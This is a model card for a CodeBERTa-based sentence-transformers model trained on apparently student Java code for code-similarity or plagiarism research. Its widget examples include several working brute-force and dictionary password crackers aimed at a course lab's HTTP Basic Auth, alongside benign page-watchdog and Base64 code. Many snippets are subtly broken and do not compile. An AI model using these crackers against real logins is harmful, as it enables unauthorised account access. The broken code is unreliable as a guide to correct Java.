- "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n public static void main(String args[])\n {\n final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n String s = null;\n int num_tries = 0;\n \n try\n {\n \n BufferedReader dict_word = new BufferedReader\n (new FileReader (DICT_FILE));\n \n \n while((password = dict_word.readLine())!= null)\n { \n try \n {\n \n Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n\n try\n\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0) \n { \n System.out.println(\"**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n \n System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n System.out.println(\"**********Sorry, password was not found in dictionary file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException exception)\n {\n System.out.println(exception);\n }\n catch (IOException exception)\n {\n System.out.println(exception);\n }\n }\n}\n \n"
- source_sentence: |+
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
sentences:
- |
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
- |-
public class Base64 {
static public char[] encode(byte[] data)
{
char[] out = new char[((data.length + 2) / 3) * 4];
for (int i=0, index=0; i<data.length; i+=3, index+=4) {
boolean quad = false;
boolean trip = false;
int bat = (0xFF & (int) data[i]);
bat <<= 8;
if ((i+1) < data.length) {
bat |= (0xFF & (int) data[i+1]);
trip = true;
}
bat <<= 8;
if ((i+2) < data.length) {
bat |= (0xFF & (int) data[i+2]);
quad = true;
}
out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+1] = alphabet[bat & 0x3F];
bat >>= 6;
out[index+0] = alphabet[ bat & 0x3F];
}
return out;
}
static public byte[] decode(char[] data)
{
int tempLen = data.length;
for( int ix=0; ix<data.length; ix++ )
{
if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
--tempLen;
}
int len = (tempLen / 4) * 3;
if ((tempLen % 4) == 3) len += 2;
if ((tempLen % 4) == 2) len += 1;
byte[] out = new byte[len];
int shift = 0;
int accum = 0;
int index = 0;
for (int ix=0; ix<data.length; ix++)
{
int value = (data[ix]>255)? -1: codes[ data[ix] ];
if ( value >= 0 )
{
accum <<= 6;
shift += 6;
accum |= value;
if ( shift >= 8 )
{
shift -= 8;
out[index++] =
(byte) ((accum >> shift) & 0xff);
}
}
}
if( index != out.length)
{
throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
}
return out;
}
static private char[] alphabet =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
.toCharArray();
static private byte[] codes = new byte[256];
static {
for (int i=0; i<256; i++) codes[i] = -1;
for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A');
for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
codes['+'] = 62;
codes['/'] = 63;
}
}
- "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\npublic class Dictionary\n{\n\n\n\n public void crackAddress(String fileName) throws Exception\n {\n String line,username=\"\",passwd,pass;\n int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n System.out.println(\"Hack password with the word:\"+passwd);\n\t String command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\":\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\n while((line=bf.readLine())!=null)\n {\n flag=1;\n break;\n\n }\n if(flag==1)\n {\n System.out.println(\"The username is: \"+username+\" The password is: \"+passwd);\n break;\n }\n }\n GregorianCalendar end=new GregorianCalendar();\n double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\npublic static void main(String args[]) throws Exception\n{\n Dictionary ds = new Dictionary();\n ds.crackAddress(args[0]);\n}\n}"
- source_sentence: |
package java.httputils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;
public WatchDog()
{
super();
}
public void run() throws Exception
{
HttpRequestClient client = null;
System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClient(getURL());
retrievedContent = client.getContent().toString();
System.out.println(getClass().getName() +
"Writing baseline content : " + getFileName());
writeFile();
while (true)
{
System.out.println(getClass().getName() +
" Sleeping for hours: " + getInterval());
Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());
System.out.println(getClass().getName() +
" Retrieving: " + getURL());
client = new HttpRequestClient(getURL());
retrievedContent = client.getContent().toString();
System.out.println(getClass().getName() +
" saved copy: " + getURL());
savedContent = readFile();
System.out.println(getClass().getName() +
" Comparing saved and retrieved. ");
if (!savedContent.equals(retrievedContent))
{
System.out.println(getClass().getName() +
" Difference found. ");
writeTempFile();
runCommand();
}
writeFile();
}
}
public String runCommand()
{
String cmd = getCommand() + " \"" + getURL() + "\"";
try
{
Runtime r = Runtime.getRuntime();
System.out.println(getClass().getName() +
" Executing: " + cmd);
Process proc = r.exec(cmd);
}
catch (Exception e)
{
try
{
Runtime r = Runtime.getRuntime();
Process proc = r.exec(cmd);
}
catch (Exception ex)
{
System.out.println(getClass().getName()
+ " Could not run :"
+ getCommand()
+ " because : "
+ ex.getMessage());
}
}
return "Executed successfully";
}
protected String readFile() throws FileNotFoundException
{
BufferedInputStream input = null;
FileInputStream file = null;
StringBuffer content = new StringBuffer();
try
{
file = new FileInputStream(getFileName());
input = new BufferedInputStream(file);
}
catch (FileNotFoundException x)
{
System.err.println("File not found: " + getFileName());
throw x;
}
try
{
int ch;
while ((ch = input.get()) != -1)
{
content.append((char)ch);
}
}
catch (IOException x)
{
x.printStackTrace();
}
finally
{
if (input != null)
{
try
{
input.get();
file.get();
}
catch (IOException e)
{
}
}
}
return content.toString();
}
protected void writeFile() throws Exception
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(getFileName(), false));
os.write(getRetrievedContent().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
throw e;
}
catch (IOException e)
{
e.printStackTrace();
throw e;
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
protected void writeTempFile() throws Exception
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(".html", false));
os.write(getRetrievedContent().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
throw e;
}
catch (IOException e)
{
e.printStackTrace();
throw e;
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
public static void main(String[] args)
{
WatchDog watchDog = new WatchDog();
if (args.length < 3)
{
watchDog.printUsage();
}
System.out.println(watchDog.getClass().getName() +
": Initialising with " +
args[0] + " \n" +
args[1] + " \n" +
args[2] + " \n");
watchDog.setURL(args[0]);
watchDog.setInterval(Integer.parseInt(args[1]));
watchDog.setCommand(args[2]);
try
{
System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
watchDog.run();
}
catch (Exception e)
{
e.printStackTrace();
}
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** WatchDog proper usage **\n\n");
s.append(
this.getClass().getName() +
" <URL> <interval> <Command execute>\n\n");
return s.toString();
}
public String getCommand()
{
return command;
}
public String getFileName()
{
return fileName;
}
public int getInterval()
{
return interval;
}
public String getURL()
{
return URL;
}
public void setCommand(String string)
{
command = string;
}
public void setFileName(String string)
{
fileName = string;
}
public void setInterval(int i)
{
interval = i;
}
public void setURL(String string)
{
URL = string;
}
public String getRetrievedContent()
{
return retrievedContent;
}
public String getSavedContent()
{
return savedContent;
}
public void setRetrievedContent(String string)
{
retrievedContent = string;
}
public void setSavedContent(String string)
{
savedContent = string;
}
}
sentences:
- "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\t String pass;\n char temp[] = {'a','a'};\n char temp1[] = {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n String resp = new String();\n int count=0;\n String success = new String();\n InputStreamReader instre;\n BufferedReader bufread;\n\n\n for(int k=0;k<52;k++)\n {\n temp2[0]=chars[k];\n pass = new String(temp2); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n temp[0]=chars[j];\n temp[1]=chars[k];\n\n pass = new String(); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n temp1[2]=chars[k];\n pass = new String(temp1); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
- |-
import java.util.*;
import java.io.*;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
}
- "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[] args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor (int i = 0; i < count; i++) {\n for (int j = 0; j < count; j++) {\n for (int k = 0; k < count; k++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\t\t }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n for (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tuserPassword = userID + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t}\n\tcatch (Exception ioe) {\n System.out.println(ioe.getMessage());\n }\n finally {\n }\n\t}\n\t\n\tpublic int attackURL(String userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t URL url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\t\t String encoding = Base64Converter.encode (userPassword.getBytes());\n\t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\t\t\tSystem.out.println(line);\n\t\t }\n\t\t} catch (MalformedURLException e) {\n\t\t\trtn = 2;\n\t \t\tSystem.out.println(\"Invalid URL\");\n\t\t} catch (IOException e) {\n \t\t\tSystem.out.println(\"Error URL\");\n\t\t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n"
- source_sentence: |+
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
sentences:
- |
import java.Object;
import java.io.*;
import java.String;
import java.util.*;
class Dictionary{
public static void main(String [] args){
try
{
Date d = new Date();
String line1="";
String ps="";
String file1 = "words.txt";
String file2 = "index.html";
String endline="Authorization failed.";
String [] cmd = new String[4];
cmd[0] = "wget";
cmd[1] = "--http-user=";
cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";
FileReader fr1 = new FileReader(file1);
BufferedReader in1 = new BufferedReader(fr1);
while((line1 = in1.readLine())!=null)
{
try{
cmd[2] = connect(line1);
Runtime.getRuntime().exec(cmd);
if(line1.length()==3)
ps = line1;
System.out.println(cmd[2]);
File f = new File(file2);
if(f.exists())
{
System.out.println("password: " + ps);
break;
}
}
catch(IOException ex)
{
System.out.println("hello1");
}
}
Date end = new Date();
System.out.println(d.toString());
System.out.println(end.toString());
System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
}
catch(IOException e)
{
System.out.println("hello,didnt find file.");
}
}
public static String connect(String str1)
{
char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
String str = new String(data);
return str + str1;
}
}
- "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public static FileWriter out = null, output = null;\n\n public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n System.out.println(\"Detecting the changes...\");\n\n try {\n\n\t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\");\n URLConnection yc = yahoo.openConnection();\n\n \n BufferedReader in = new BufferedReader(\n new InputStreamReader(\n yc.getInputStream()));\n\n String inputLine;\n try {\n out = new FileWriter(\"newstudent\");\n while ((inputLine = in.readLine()) != null){\n out.write(inputLine + \"\\n\");\n }\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n in.print();\n out.print();\n\n dirty = diff();\n if (dirty == 1){\n sendMail();\n System.out.println(\"Changes detected and email sent!\");\n }\n\n if (diffimages() == 1){\n sendMail();\n System.out.println(\"Images modification detected and email sent!\");\n }\n\n updatePage();\n System.out.println(\"** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n ex.printStackTrace();\n }\n }\n\n public static int diff()\n {\n int update = 0;\n\n try{\n Process process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n process.getInputStream()));\n\n output = new FileWriter(\"output\");\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + \"\\n\");\n update = 1;\n }\n output.promt();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static int diffimages()\n {\n int update = 0;\n String image;\n\n try{\n Process primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n File imageFile = new File(\"imagesname\");\n BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n output = new FileWriter(\"output\");\n while ((image = fr.readLine()) != null) {\n primages = Runtime.getRuntime().exec(\"diff \" + image + \" o\"+image);\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n primages.getInputStream()));\n\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + \"\\n\");\n update = 1;\n }\n }\n output.print();\n fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static void sendMail()\n {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void updatePage()\n {\n String image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n while ((image = fr.readLine()) != null) {\n updateprocess = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n {\n for(int b=0;b<words.length;b++)\n {\n for(int c=0;c<words.length;c++)\n {\n pass[0]=words[a];\n pass[1]=words[b];\n pass[2]=words[c];\n passwd=passwd.copyValueOf(pass,0,3);\n System.out.println(count+ \" ) \" + passwd);\n count++;\n try\n {\n\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(passwd));\n\n if (connection.getResponseCode()!=401)\n {\n System.out.print(\"The password is : \"+passwd);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n System.exit(0);\n }\n else\n {\n }\n connection.disconnect();\n }\n catch (IOException e)\n {\n System.out.println(e);\n }\n }\n }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce = new BruteForce();\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
